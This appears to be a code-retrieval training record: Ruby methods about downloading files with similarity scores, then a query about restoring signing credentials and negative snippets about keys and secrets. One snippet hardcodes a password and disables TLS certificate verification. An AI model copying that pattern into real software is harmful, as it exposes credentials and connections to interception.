"def download\n open(download_url, \"rb\")\n end",
"def run\n check_xhr unless params[:download]\n\n query = DataExplorer::Query.find(params[:id].to_i)\n query.last_run_at = Time.now\n\n if params[:id].to_i < 0\n query.created_by = Discourse::SYSTEM_USER_ID.to_s\n query.save_default_query\n else\n query.save\n end\n\n if params[:download]\n response.sending_file = true\n end\n\n params[:params] = params[:_params] if params[:_params] # testing workaround\n query_params = {}\n query_params = MultiJson.load(params[:params]) if params[:params]\n\n opts = { current_user: current_user.username }\n opts[:explain] = true if params[:explain] == \"true\"\n\n opts[:limit] =\n if params[:limit] == \"ALL\" || params[:format] == \"csv\"\n \"ALL\"\n elsif params[:limit]\n params[:limit].to_i\n end\n\n result = DataExplorer.run_query(query, query_params, opts)\n\n if result[:error]\n err = result[:error]\n\n # Pretty printing logic\n err_class = err.class\n err_msg = err.message\n if err.is_a? ActiveRecord::StatementInvalid\n err_class = err.original_exception.class\n err_msg.gsub!(\"#{err_class}:\", '')\n else\n err_msg = \"#{err_class}: #{err_msg}\"\n end\n\n render json: {\n success: false,\n errors: [err_msg]\n }, status: 422\n else\n pg_result = result[:pg_result]\n cols = pg_result.fields\n respond_to do |format|\n format.json do\n if params[:download]\n response.headers['Content-Disposition'] =\n \"attachment; filename=#{query.slug}@#{Slug.for(Discourse.current_hostname, 'discourse')}-#{Date.today}.dcqresult.json\"\n end\n json = {\n success: true,\n errors: [],\n duration: (result[:duration_secs].to_f * 1000).round(1),\n result_count: pg_result.values.length || 0,\n params: query_params,\n columns: cols,\n default_limit: DataExplorer::QUERY_RESULT_MAX_LIMIT\n }\n json[:explain] = result[:explain] if opts[:explain]\n\n if !params[:download]\n relations, colrender = DataExplorer.add_extra_data(pg_result)\n json[:relations] = relations\n json[:colrender] = colrender\n end\n\n json[:rows] = pg_result.values\n\n render json: json\n end\n format.csv do\n response.headers['Content-Disposition'] =\n \"attachment; filename=#{query.slug}@#{Slug.for(Discourse.current_hostname, 'discourse')}-#{Date.today}.dcqresult.csv\"\n\n require 'csv'\n text = CSV.generate do |csv|\n csv << cols\n pg_result.values.each do |row|\n csv << row\n end\n end\n\n render plain: text\n end\n end\n end\n end",
"def execute\n super()\n\n # executes test case info\n\n # workaround pages that need to login to secondary domains\n auth_workarounds()\n\n # Change this to 0 to get retries in buyflow test\n timeout_count = 1 \n \n begin\n puts @report.url\n\n # Navigate to the site\n @page.browser.driver.browser.get @report.url if(@report.url)\n\n\n\n\n\n # ------------ Marketing section, Landing Page ------------ \n\n @report.browser = @page.browser_name\n\n\n # pull the operating System from the user agent or other sources\n @report.os = @page.os_name\n\n # pull the brand from the page variables or domain\n @report.buyflow_report.brand = @page.brand\n\n # pull the uci code from omniture\n @report.uci_report.uci_mp = @page.uci\n\n if(@configuration['Brand'] == 'Marajo' || @configuration['Brand'] == 'smileactives')\n puts \"products hiiiiiiiii\"\n @page = @page.go_to_productpage()\n puts \"done product button\"\n else\n puts \"going to order page\"\n @page = @page.go_to_orderpage()\n puts @page\n puts \"done fetching orderpage\"\n end\n\n # navigate to the SAS page if that page section isn't present.\n # @page = @page.go_to_orderpage()\n\n\n\n\n @report.buyflow_report.lastpagefound = \"sas\"\n\n # ------------ SAS Section ------------ \n\n @report.uci_report.uci_sas = @page.uci\n \n # If an offer is not present in test\n if(@offer == nil)\n # navigate to the cart using default options\n @page = @page.skip_to_cart\n else\n # ...otherwise select the options defined by the offer\n \n @page = @page.select_options(@offer)\n end\n\n # exclude_from_selection_workaround = BrandsExcludedSelectionWorkaround.all.select('brand').collect(&:brand)\n # if(@offer)\n # if(timeout_count == 1 && @offer['OfferCode'])\n # if(exclude_from_selection_workaround.include?(@configuration[\"Brand\"].downcase) == false)\n # selection_workaround(@page.browser)\n # end\n # end\n # end\n\n \n\n\nputs \"Proceed to cart section\"\n\n # ------------ Cart Section ------------ \n\n @report.uci_report.uci_op = @page.uci\n\n @report.buyflow_report.lastpagefound = \"cart\"\n\n @report.buyflow_report.offer_code = @page.offercode\n puts \"offercode\"\n puts @report.buyflow_report.offer_code\n\n @report.grcid = @page.grcid\n puts \"grcid\"\n puts @report.grcid\n\n # catch_and_display_error do\n\n @report.buyflow_report.total_pricing = @page.total_pricing\n puts \"total_pricing\"\n puts @report.buyflow_report.total_pricing\n\n @report.buyflow_report.subtotal_price = @page.subtotal_price\n puts \"subtotal_price\"\n puts @report.buyflow_report.subtotal_price\n\n # pull the pricing for the SAS for any sections still in the same page as the cart\n begin\n @report.buyflow_report.saspricing = @page.check_sas_pricing(@report.buyflow_report.subtotal_price)\n rescue => e\n @report.buyflow_report.saspricing = \"No Offer Associated with this Test\"\n end\n \n @report.buyflow_report.saspricing = '' if @report.buyflow_report.saspricing == nil\n puts \"saspricing\"\n puts @report.buyflow_report.saspricing\n @report.buyflow_report.sasprices = @page.check_sas_prices\n puts \"sasprices\"\n puts @report.buyflow_report.sasprices\n\n # pull the cart description from the order summary section\n @report.buyflow_report.cart_language = @page.cart_description\n puts \"cart description\"\n puts @report.buyflow_report.cart_language\n\n @report.buyflow_report.cart_title = @page.cart_title\n puts \"productname\"\n puts @report.buyflow_report.cart_title\n\n @report.buyflow_report.sas_kit_name = @page.check_sas_kit_name(@report.buyflow_report.cart_title)\n\n @report.buyflow_report.kitnames = @page.cart_title\n\n @report.buyflow_report.cart_quantity = @page.quantity\n puts \"quantity\"\n puts @report.buyflow_report.cart_quantity\n\n if(@report.buyflow_report.cart_quantity.nil?)\n @report.buyflow_report.cart_quantity = \"[Quantity Dropdown Missing] - Locator may be missing\"\n end\n\n @report.buyflow_report.shipping_standard = @page.shipping('Standard')\n puts \"shipping\"\n puts @report.buyflow_report.shipping_standard\n \n # Rush Shipping\n @report.buyflow_report.shipping_rush = @page.shipping('Rush') \n\n # Overnight Shipping\n @report.buyflow_report.shipping_overnight = @page.shipping('Overnight')\n\n @report.buyflow_report.shipping_standard = 'N/A' if @report.buyflow_report.shipping_standard.nil?\n \n @report.buyflow_report.shipping_rush = 'N/A' if @report.buyflow_report.shipping_rush.nil?\n\n @report.buyflow_report.shipping_overnight = 'N/A' if @report.buyflow_report.shipping_overnight.nil?\n\n if(@offer)\n @offer.each do |offer|\n # Continuity Shipping \n @report.buyflow_report.continuity_shipping = @page.continuity(offer)\n puts \"Continuity\"\n puts @report.buyflow_report.continuity_shipping\n end\n end\n # end\n\n # get the shipping selection price\n puts \"cart_shipping_selection_price\"\n cart_shipping_selection_price = @page.current_shipping_cost\n puts cart_shipping_selection_price\n\n @page.place_order(@configuration['ConfEmailOverride'])\n\n # Submit order in order to reach confirmation page\n @page = @page.submit_order\n\n # ------------ Confirmation Page ------------\n\n puts \"proceeding to confirmation page\"\n\n @page.expand_order_details()\n \n # pull the confirmation number\n @report.buyflow_report.confirmation_number = @page.get_confirmation_number\n\n @report.buyflow_report.lastpagefound = \"confirmation page\"\n # pull the uci number for the confirmation page\n @report.uci_report.uci_cp = @page.uci\n\n # Compare the billing and shipping information to the data that was entered in the cart\n check_billing_info(@report.buyflow_report, @page)\n\n # get the offer code from the confirmation page\n @report.buyflow_report.confoffercode = @page.offercode\n\n # get the confirmation page pricing for the main product\n @report.buyflow_report.confpricing = @page.confpricing\n\n # check the shipping price matches the shipping selected in the cart\n puts \"shipping_conf\"\n shipping_conf = @page.conf_shipping_price\n puts shipping_conf\n\n if(shipping_conf == cart_shipping_selection_price)\n @report.buyflow_report.shipping_conf = \"match\"\n @report.buyflow_report.shipping_conf_val = shipping_conf\n @report.buyflow_report.selected_shipping = cart_shipping_selection_price\n else\n begin\n @report.buyflow_report.shipping_conf_val = shipping_conf\n\n rescue\n end\n begin\n @report.buyflow_report.selected_shipping = cart_shipping_selection_price\n rescue\n\n end\n begin\n @report.buyflow_report.shipping_conf = shipping_conf.to_s + \" - expected: \" + cart_shipping_selection_price.to_s\n rescue\n @report.buyflow_report.shipping_conf = \"Problem with gathering data: confirmation - \" + shipping_conf.class.to_s + \" cart - \" + cart_shipping_selection_price.class.to_s\n end\n end\n\n @report.buyflow_report.conf_kit_name = @page.cart_title\n\n # -------- Failure Checks ---------\n if(@report.grcid.nil?)\n fail 'GRCID not found for this page (AKA Campaign Code)'\n end\n\n if(@report.uci_report.uci_mp.nil?)\n fail 'UCI code for Marketing section was not found'\n end\n\n if(@report.uci_report.uci_op.nil?)\n fail 'UCI code for Cart section was not found'\n end\n \n if(@report.uci_report.uci_sas.nil?)\n fail 'UCI code for SAS section was not found'\n end \n \n if(@report.uci_report.uci_cp.nil?)\n fail 'UCI code for Confirmation page was not found'\n end\n\n if(@report.buyflow_report.subtotal_price.nil?)\n fail 'subtotal price was not found'\n end\n\n if(@report.buyflow_report.cart_title.to_s.downcase.include? 'kit')\n if(@report.buyflow_report.cart_language.nil?)\n fail 'cart language was not found'\n end\n end\n\n if(@report.buyflow_report.cart_title.nil?)\n fail 'cart title was not found'\n end\n\n # Check Shipping matches given offer if present\n if(@offer)\n if(@offer.length == 1)\n @offer.each do |offer|\n if(@report.buyflow_report.shipping_standard != offer['StartSH'].gsub('$','').strip())\n fail \"Shipping price did not match - #{offer.Offer.to_s} - Entry -a #{@report.buyflow_report.shipping_standard} -e #{offer['StartSH'].gsub('$','').strip()}\"\n end\n\n if(@report.buyflow_report.shipping_rush != offer['Rush'].gsub('$','').strip())\n fail \"Shipping price did not match - #{offer.Offer.to_s} - Rush -a #{@report.buyflow_report.shipping_rush} -e #{offer['Rush'].gsub('$','').strip()}\"\n end\n\n if(@report.buyflow_report.shipping_overnight != offer['OND'].gsub('$','').strip())\n fail \"Shipping price did not match - #{offer.Offer.to_s} - OND -a #{@report.buyflow_report.shipping_overnight} -e #{offer['OND'].gsub('$','').strip()}\"\n end\n end\n else\n standard_data = ''\n rush_data = ''\n ond_data = ''\n if((@report.buyflow_report.cart_title.to_s.downcase.include? 'kit') && (@report.buyflow_report.brand == 'Marajo'))\n @offer.each do |offer|\n next unless offer.Offer.to_s.downcase.include? 'kit'\n standard_data = offer['StartSH'].gsub('$','').strip()\n rush_data = offer['Rush'].gsub('$','').strip()\n ond_data = offer['OND'].gsub('$','').strip()\n break\n end\n else\n standard_data = '$0.00'\n @offer.each do |offer|\n rush_data = offer['Rush'].gsub('$','').strip()\n ond_data = offer['OND'].gsub('$','').strip()\n break\n end\n end\n \n if(@report.buyflow_report.shipping_standard != standard_data.gsub('$','').strip())\n fail \"Shipping price did not match - #{offer.Offer.to_s} - Entry -a #{@report.buyflow_report.shipping_standard} -e #{standard_data.gsub('$','').strip()}\"\n end\n\n if(@report.buyflow_report.shipping_rush != rush_data)\n fail \"Shipping price did not match - #{offer.Offer.to_s} - Rush -a #{@report.buyflow_report.shipping_rush} -e #{rush_data}\"\n end\n\n if(@report.buyflow_report.shipping_overnight != ond_data)\n fail \"Shipping price did not match - #{offer.Offer.to_s} - OND -a #{@report.buyflow_report.shipping_overnight} -e #{ond_data}\"\n end\n end\n end \n\n if(@report.buyflow_report.conf_kit_name.nil?)\n fail 'confirmation kit name was not found'\n end\n\n if(@report.buyflow_report.confpricing.nil?)\n fail 'confirmation price was not found'\n end\n\n if(@report.buyflow_report.billname == 'FAILED' || @report.buyflow_report.billaddress == 'FAILED' || @report.buyflow_report.billemail == 'FAILED' || @report.buyflow_report.shipaddress == 'FAILED')\n fail 'The billing/shipping info on the confirmation page did not match data input on cart page'\n end\n\n if(@report.buyflow_report.shipping_conf != 'match')\n fail 'Shipping did not match cart on confirmation page' \n end\n\n if(@report.buyflow_report.confoffercode.nil?)\n fail 'Could not find Offer code on the confirmation page'\n end\n\n if(@report.buyflow_report.offer_code.nil?)\n fail 'Could not find Offer code on the cart page'\n end\n\n if(@offer)\n @offer.each do |offer|\n puts @report.buyflow_report.offer_code\n puts @report.buyflow_report.confoffercode\n puts offer.OfferCode.to_s\n if(@report.buyflow_report.expected_offer_code)\n if @report.buyflow_report.offer_code.to_s.downcase.include?(offer.OfferCode.to_s.downcase) == false\n raise \"OfferCode didn't match in cart page\"\n end\n end\n\n if(@report.buyflow_report.expected_offer_code)\n if @report.buyflow_report.confoffercode.to_s.downcase.include?(offer.OfferCode.to_s.downcase) == false\n raise \"OfferCode didn't match in confirmation page\"\n end\n end\n# puts offer.offer_data_detail.offerdesc\n# puts @report.buyflow_report.cart_language\n if(offer.offer_data_detail)\n if(@report.buyflow_report.cart_language)\n if cleanup_format(@report.buyflow_report.cart_language).include?(cleanup_format(offer.offer_data_detail.offerdesc)) == false\n raise \"Cart language did not match\"\n end\n end\n\n if(@report.buyflow_report.cart_title)\n if @report.buyflow_report.cart_title.to_s.downcase.include?(offer.offer_data_detail.offer_title.to_s.downcase) == false\n raise \"Cart title did not match\"\n end\n end\n else\n if(@report.buyflow_report.cart_title)\n if @report.buyflow_report.cart_title.to_s.downcase.include?(offer.Offer.to_s.downcase) == false\n raise \"Cart title did not match\"\n end\n end\n end\n end\n end\n\n # ------- end of testing --------\n\n\n rescue T5::PasswordMatchException => e\n raise e\n\n rescue Net::ReadTimeout, Selenium::WebDriver::Error::UnknownError => e\n net_timeout_timeout = 0\n begin\n net_timeout_timeout += 1\n sleep(5)\n soft_browser_quit()\n # create browser for new attempt\n @browser = BrowserFactory.create_browser(@browsertype)\n\n # instatiate the starting page model\n @page = T5::Marketing.new(@configuration)\n \n # set the browser session to the current one held by the test case\n @page.browser = @browser\n \n # adapt the page based on the configuration settings\n @page = @page.adapt\n\n auth_workarounds()\n exp = @report.buyflow_report.expected_offer_code\n @report.buyflow_report = GRReporting::BuyflowReport.new()\n @report.buyflow_report.expected_offer_code = exp\n rescue => exc\n if net_timeout_timeout < 5\n retry\n else\n raise e\n end\n end\n retry\n rescue => e\n timeout_count += 1;\n # Change the limit of retries here.\n raise e if(timeout_count > 1)\n soft_browser_quit()\n @browser = BrowserFactory.create_browser(@browsertype)\n\n # instatiate the starting page model\n @page = T5::Marketing.new(@configuration)\n \n # set the browser session to the current one held by the test case\n @page.browser = @browser\n \n # adapt the page based on the configuration settings\n @page = @page.adapt\n\n auth_workarounds()\n exp = @report.buyflow_report.expected_offer_code\n @report.buyflow_report = GRReporting::BuyflowReport.new()\n @report.buyflow_report.expected_offer_code = exp\n retry\n end\n end",
"def download_data\n file_content = nil\n begin\n file_content = FileContent.find(params[:id])\n rescue\n file_content = nil\n end\n\n # We need to figure out which groups are allowed to download this file content.\n # Unfortunately, this requires iterating through any referenced URLs and collecting\n # all applicable group_ids.\n group_ids = []\n if (!file_content.nil? &&\n !file_content.data.nil?)\n file_content.process_files.each do |process_file|\n if (!process_file.os_process.nil? &&\n !process_file.os_process.fingerprint.nil? &&\n !process_file.os_process.fingerprint.url.nil?)\n # Clear the cache, if need be.\n process_file.os_process.fingerprint.url.expire_caches\n group_ids << process_file.os_process.fingerprint.url.group_id\n end\n end\n group_ids.uniq!\n end\n\n if (!file_content.nil? &&\n !file_content.data.nil? &&\n (!group_ids.index(nil).nil? ||\n current_user.has_role?(:admin) ||\n ((current_user.groups.map{|g| g.is_a?(Group) ? g.id : g} & group_ids).size > 0)))\n send_file(RAILS_ROOT + '/' + file_content.data.to_s, :x_sendfile => true)\n else\n redirect_back_or_default('/')\n end\n end",
"def save_vix_future_data(year, month, directory, force_download = false)\n force_download = force_download || year > Today.year || (year == Today.year && month >= Today.month) # we want to re-download files for contracts that haven't expired yet\n \n month_code = MonthToMonthCode[month]\n year_suffix = year.to_s[-2..-1]\n file_name = \"CFE_#{month_code}#{year_suffix}_VX.csv\"\n file_path = File.join(directory, file_name)\n \n if File.exists?(file_path) && !force_download\n puts \"File #{file_path} already exists. Skipping.\"\n else\n url = \"http://cfe.cboe.com/Publish/ScheduledTask/MktData/datahouse/#{file_name}\"\n\n puts \"Downloading #{url}\"\n file_contents = open(url).read()\n File.open(file_path, 'w') { |file| file.write(file_contents) }\n end\n \n file_path\nrescue => e\n puts e.message\nend",
"def download\n super\n rescue\n info \"Failed to download #{to_spec}. Skipping it.\"\n end",
"def download_files\n path = Conf::directories.tmp\n manager = @current_source.file_manager\n manager.start do\n @current_source.folders.each do |folder|\n files = @files[folder]\n puts \"folder => #{folder}, Files => #{files}\" if @opts[:v]\n next if files.empty? \n # download into the TMP directory by folder\n spath = File.join(path, @current_source.name.to_s,folder)\n manager.download_files files,spath,v: true\n move_files folder\n @current_source.schema.insert_files files,folder\n SignalHandler.check { Logger.<<(__FILE__,\"WARNING\",\"SIGINT Catched. Abort.\")}\n end\n end\n end",
"def jenkins_download(opts)\n\tputs \"### Downloading jenkins image ###\"\n\trun_in_shell \"docker pull #{opts[:source]}\"\n\tputs \"#################################\"\nend",
"def AxeDownload(download)\n uri = URI('https://axeweb.intel.com/axe/api/testlist/295/latest/combined')\n puts uri\n req = Net::HTTP::Get.new(uri)\n req.basic_auth 'autoclient', 'gr@ph1c$'\n \n if download\n print \"#{Time.now.strftime(\"%l:%M:%S %p\")} - Start download\\n\"\n res = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true, :verify_mode => OpenSSL::SSL::VERIFY_NONE) {|http|\n http.request(req)\n }\n #puts res.body\n \n unless res.kind_of? Net::HTTPSuccess\n puts \"Error downloading results from Axe\"\n exit(9)\n end\n open('result.json', 'wb') do |fileAXE|\n fileAXE << res.body\n end\n print \"#{Time.now.strftime(\"%l:%M:%S %p\")} - End download\\n\"\n end\nend",
"def download(url, filename, outputFolder)\r\n loadStatus = true\r\n begin\r\n Net::HTTP.start(url) { |http|\r\n t= Time.now\r\n filedate = t.strftime(\"%m%d%Y\")\r\n\t\tif url == \"downloads.cms.gov\"\r\n\t\t\tresp = http.get(\"/medicare/#{filename}\")\r\n\t\telse\r\n\t\t\tresp = http.get(\"/download/#{filename}\")\r\n\t\tend\r\n\r\n open(\"#{outputFolder}#{filedate}#{filename}\", \"wb\") { |file|\r\n file.write(resp.body)\r\n }\r\n }\r\n\r\n puts \"download of #{filename} complete\"\r\n rescue Exception=>e\r\n loadStatus = false\r\n end\r\n return loadStatus\r\nend",
"def download\n #require 'debugger'; debugger\n generator = Generator.where(id: params[:id], user_id: current_user.id).first\n send_file TerrainLib::Component.generate JSON.parse(generator.generator_hash)\n end",
"def download(event)\n info \"Finished downloading updates\"\n end",
"def download_manual \n file = Dir.glob(\"#{Rails.root}/public/s2c_tutorial.pdf\")[0].to_s\n logger.debug file\n send_file(file)\n end",
"def download(required_version = :latest)\n required_version = latest if required_version == :latest\n download_file_name = \"selenium-server-#{required_version}.jar\"\n\n return download_file_name if File.exist? download_file_name\n\n begin\n download_location = available_assets[download_file_name]['browser_download_url']\n released = Net::HTTP.get_response(URI.parse(download_location))\n redirected = URI.parse released.header['location']\n\n File.open(download_file_name, 'wb') do |destination|\n download_server(redirected, destination)\n end\n rescue StandardError\n FileUtils.rm_rf download_file_name\n raise\n end\n\n download_file_name\n end",
"def run!\n db_uri = URI.parse(@configuration.remote_db)\n @adapter = (Fixtural.adapter_for_uri db_uri).new(self, db_uri)\n # Actually connect to the database and figure out which tables we need\n # to download\n @adapter.connect()\n\n # Figure out the tables we need to download\n tables = compute_table_list()\n\n total = tables.length\n puts \"Downloading #{total.to_s} tables:\"\n\n # Setup the output store and the writer for the chosen output format\n output_store = @configuration.output_store\n output_writer_klass = Fixtural.output_writer_for_name @configuration.output_format\n\n tables.each_with_index do |table, index|\n progressbar = ProgressBar.create(\n format: \"- #{table} (#{(index+1).to_s}/#{total.to_s}) (%j%%)\"\n )\n extension = output_writer_klass.extension\n name = \"#{table}.#{extension}\"\n\n columns = get_columns table\n\n output_store.open(name) do |fd|\n writer = output_writer_klass.new fd, table, columns\n\n download_table table, writer, progressbar\n\n writer.done\n end\n end\n end",
"def download\n get_metadata\n check_prog_id\n generate_filename\n download_stream\n ffmpeg\n tag\n cleanup\n end",
"def download\n\n session[:current_folder] = params[:folder]\n mixpanel_tab_event(\"My Vault\", \"Download File\")\n download_url = Rails.cache.fetch(\"/download_url/#{params[:id]}\", :expires_in => 10.minutes) do\n user_client.download_url(params[:id])\n end\n redirect_to download_url\n end",
"def file_download\n blob_cache(:file_download) do\n raw_download = tiddlywiki_file.download\n is_compressed? ? SiteCommon.decompress_html(raw_download) : raw_download\n end\n end",
"def run_prepare_command\n return unless @spec.root.prepare_command\n vputs ' > Running prepare command'\n Dir.chdir(@download_location) do\n ENV.delete('CDPATH')\n prepare_command = @spec.root.prepare_command.strip_heredoc.chomp\n full_command = \"\\nset -e\\n\" + prepare_command\n `#{full_command}`\n end\n end",
"def zip_download\n require 'zip'\n require 'tempfile'\n\n tmp_dir = ENV['TMPDIR'] || \"/tmp\"\n tmp_dir = Pathname.new tmp_dir\n # Deepblue::LoggingHelper.debug \"Download Zip begin tmp_dir #{tmp_dir}\"\n Deepblue::LoggingHelper.bold_debug [ \"zip_download begin\", \"tmp_dir=#{tmp_dir}\" ]\n target_dir = target_dir_name_id( tmp_dir, curation_concern.id )\n # Deepblue::LoggingHelper.debug \"Download Zip begin copy to folder #{target_dir}\"\n Deepblue::LoggingHelper.bold_debug [ \"zip_download\", \"target_dir=#{target_dir}\" ]\n Dir.mkdir( target_dir ) unless Dir.exist?( target_dir )\n target_zipfile = target_dir_name_id( target_dir, curation_concern.id, \".zip\" )\n # Deepblue::LoggingHelper.debug \"Download Zip begin copy to target_zipfile #{target_zipfile}\"\n Deepblue::LoggingHelper.bold_debug [ \"zip_download\", \"target_zipfile=#{target_zipfile}\" ]\n File.delete target_zipfile if File.exist? target_zipfile\n # clean the zip directory if necessary, since the zip structure is currently flat, only\n # have to clean files in the target folder\n files = Dir.glob( (target_dir.join '*').to_s)\n Deepblue::LoggingHelper.bold_debug files, label: \"zip_download files to delete:\"\n files.each do |file|\n File.delete file if File.exist? file\n end\n Deepblue::LoggingHelper.debug \"Download Zip begin copy to folder #{target_dir}\"\n Deepblue::LoggingHelper.bold_debug [ \"zip_download\", \"begin copy target_dir=#{target_dir}\" ]\n Zip::File.open(target_zipfile.to_s, Zip::File::CREATE ) do |zipfile|\n metadata_filename = curation_concern.metadata_report( dir: target_dir )\n zipfile.add( metadata_filename.basename, metadata_filename )\n export_file_sets_to( target_dir: target_dir, log_prefix: \"Zip: \" ) do |target_file_name, target_file|\n zipfile.add( target_file_name, target_file )\n end\n end\n # Deepblue::LoggingHelper.debug \"Download Zip copy complete to folder #{target_dir}\"\n Deepblue::LoggingHelper.bold_debug [ \"zip_download\", \"download complete target_dir=#{target_dir}\" ]\n send_file target_zipfile.to_s\n end",
"def perform\n SiteConfig.set_pairwise_credentials(photocracy)\n earl = Earl.find(earl_id)\n\n # make HTTP request to pairwise to get export data\n url = URI.parse(\"#{APP_CONFIG[:API_HOST]}/exports/#{export_key}\")\n req = Net::HTTP::Get.new(url.path)\n # important to trigger basic HTTP Auth on pairwise\n req[\"Accept\"] = \"text/csv\"\n req.basic_auth Question.user, Question.password\n res = Net::HTTP.start(url.host, url.port) { |http| http.request(req) }\n if res.code != \"200\"\n raise \"Export URL returned response code of #{res.code} for #{url.to_s}\"\n end\n csvdata = res.body.force_encoding('UTF-8')\n\n # for creating zlibed CSV at the end\n zoutput = Zlib::Deflate.new\n znewcsv = ''\n\n earl.munge_csv_data(csvdata, type).each do |row|\n znewcsv << zoutput.deflate(row)\n end\n znewcsv << zoutput.finish\n zoutput.close\n\n export_id = Export.connection.insert(\"INSERT INTO `exports` (`name`, `data`, `compressed`) VALUES (#{Export.connection.quote(export_key)}, #{Export.connection.quote(znewcsv)}, 1)\".force_encoding('ASCII-8BIT'))\n Delayed::Job.enqueue DestroyOldExportJob.new(export_id), 20, 3.days.from_now\n url = \"/export/#{export_key}\"\n IdeaMailer.deliver_export_data_ready(email, url, photocracy)\n\n return true\n end",
"def file_download(*paths); net_scp_transfer!(:download, false, *paths); end"
] | [
"0.65607077",
"0.64517885",
"0.6346552",
"0.6110787",
"0.60918015",
"0.6060614",
"0.60550433",
"0.60392934",
"0.591502",
"0.59040844",
"0.590213",
"0.58433014",
"0.5838508",
"0.5826378",
"0.5802019",
"0.5790264",
"0.57849675",
"0.5777948",
"0.5758222",
"0.57332295",
"0.57249725",
"0.57181793",
"0.56653535",
"0.5644165",
"0.5604007",
"0.56012595",
"0.5599508",
"0.55935335",
"0.55913275",
"0.5584526",
"0.5584454",
"0.5584309",
"0.5578787",
"0.5571164",
"0.555888",
"0.55545545",
"0.5552881",
"0.55485064",
"0.55387974",
"0.55371135",
"0.5525281",
"0.5517229",
"0.55113566",
"0.5493576",
"0.54714537",
"0.5471322",
"0.5459585",
"0.5457911",
"0.54462254",
"0.5445389",
"0.54310685",
"0.5400534",
"0.5399625",
"0.5391595",
"0.53909254",
"0.53865874",
"0.5386519",
"0.53862816",
"0.5383182",
"0.5374832",
"0.5360734",
"0.5355604",
"0.5348915",
"0.533322",
"0.53222483",
"0.53151125",
"0.5307977",
"0.52939147",
"0.5285928",
"0.52820414",
"0.52747244",
"0.527148",
"0.52662617",
"0.52635735",
"0.5263219",
"0.52627873",
"0.52606225",
"0.52500695",
"0.5249572",
"0.524246",
"0.52310514",
"0.52271533",
"0.5223869",
"0.52237767",
"0.52231747",
"0.5222521",
"0.52213365",
"0.521872",
"0.52161044",
"0.5209312",
"0.52003115",
"0.5195494",
"0.5190232",
"0.51865435",
"0.5180088",
"0.5179867",
"0.5178681",
"0.5169672",
"0.5167987",
"0.51676625",
"0.516362"
] | 0.0 | -1 |
Following method will delete actual credentials and update default signing credentials in signing.properties file (inside SigningConfigs folder) | def restore_default_signing_credentials()
system($cmd_to_remove_signing_directory)
system($cmd_to_create_new_signing_file)
IO.copy_stream($path_to_default_signing_file, $path_to_actual_signing_file)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def reset()\n Dir[File.join(@keystore, \"*\")].each { |f| FileUtils.remove_entry_secure f }\n end",
"def rotate_credentials!\n clear_all_reviewer_sessions!\n generate_credentials\n save!\n end",
"def destroy()\n FileUtils.remove_entry_secure(@keystore)\n end",
"def sign_out\n Rails.cache.delete(keyring(:projects))\n end",
"def clear!\n self.public_key, self.secret_key, self.username, self.password = []\n end",
"def reset\n self.apikey = DEFAULT_APIKEY\n self.endpoint = DEFAULT_ENDPOINT\n self.sandbox_endpoint = DEFAULT_SANDBOX_ENDPOINT\n self.sandbox_enabled = DEFAULT_SANDBOX_ENABLED\n self.fmt = DEFAULT_FMT\n self.uid = UUID.new.generate(:compact)\n end",
"def clear_auth\n [:apikey, :username, :authkey].each { |key| DEFAULT_PARAMS.delete(key) }\n end",
"def clear!\n self.access_key, self.secret_key = []\n end",
"def reset\n self.company_id = DEFAULT_COMPANY_ID\n self.user_key = DEFAULT_USER_KEY\n self.secret_key = DEFAULT_SECRET_KEY\n self.endpoint = DEFAULT_ENDPOINT\n end",
"def reset_client_api_credentials\n\n r = Aws::Kms.new('saas', 'saas').decrypt(@client.api_salt)\n return r unless r.success?\n\n api_salt_d = r.data[:plaintext]\n\n @client_api_secret_d = SecureRandom.hex\n\n r = LocalCipher.new(api_salt_d).encrypt(@client_api_secret_d)\n return r unless r.success?\n\n api_secret_e = r.data[:ciphertext_blob]\n api_key = SecureRandom.hex\n\n @client.api_key = api_key\n @client.api_secret = api_secret_e\n @client.save!\n success\n end",
"def reset_configuration!\n @configuration = Auth::Configuration.new\n end",
"def set_firebase_credentials(org_id: String, firebase_project_id: String)\n if firebase_project_id.nil?\n firebase_project_id = get_firebase_project_id(org_id)\n end\n if firebase_project_id.nil?\n return nil\n end\n\n ssm = Aws::SSM::Client.new\n begin\n # Get the Google Cloud credentials from SSM Parameter Store\n # and write them to a file\n ssm_response = ssm.get_parameter({\n name: \"/google_cloud_ci_cd_service_account_generator/firebase_service_account_keys/#{firebase_project_id}\",\n with_decryption: true\n })\n service_account_key = ssm_response.parameter.value\n service_account_key_file = File.expand_path(\"firebase_service_account_key.json\")\n File.write(service_account_key_file, service_account_key)\n # Set the GOOGLE_APPLICATION_CREDENTIALS environment variable\n # so that the firebase-tools can use the credentials\n ENV[\"GOOGLE_APPLICATION_CREDENTIALS\"] = service_account_key_file\n # Unset the deprecated FIREBASE_TOKEN environment variable\n ENV.delete(\"FIREBASE_TOKEN\")\n return service_account_key_file\n rescue Aws::SSM::Errors::ServiceError => e\n UI.error(\"Unable to get Google Cloud credentials for firebase project '#{firebase_project_id}'\")\n UI.error(e.message)\n return nil\n end\nend",
"def write_credentials\n # AWS CLI is needed because writing AWS credentials is not supported by the AWS Ruby SDK.\n return unless system('which aws >/dev/null 2>&1')\n Aws::SharedCredentials::KEY_MAP.transform_values(&@credentials.method(:send)).\n merge(expiration: @expiration).each do |key, value|\n system(\"aws configure set #{key} #{value} --profile #{@session_profile}\")\n end\n end",
"def signing_key= new_key\n @signing_key = new_key\n end",
"def signing_key; end",
"def refresh_credentials\n if credentials_stale?\n authorization_data = ecr_client.get_authorization_token.authorization_data.first\n\n self.credentials_expire_at = authorization_data.expires_at || raise(\"NO EXPIRE FOUND\")\n user, pass = Base64.decode64(authorization_data.authorization_token).split(\":\", 2)\n ENV['DOCKER_REGISTRY_USER'] = user\n ENV['DOCKER_REGISTRY_PASS'] = pass\n end\n rescue Aws::ECR::Errors::InvalidSignatureException\n raise Samson::Hooks::UserError, \"Invalid AWS credentials\"\n end",
"def clear\n @lock.synchronize do\n @credentials = nil\n end\n end",
"def aws_credentials(access_key, secret_access_key)\n unless access_key.empty? || secret_access_key.empty?\n credentials = { access_key_id: access_key, secret_access_key: secret_access_key }\n File.write('../.credentials.yml', credentials.to_yaml)\n $preferences_window.destroy\n else \n Tk.messageBox('type' => 'ok',\n 'icon' => 'error',\n 'title' => 'Keys',\n 'message' => 'Access and secret keys must not be empty') \n end \n end",
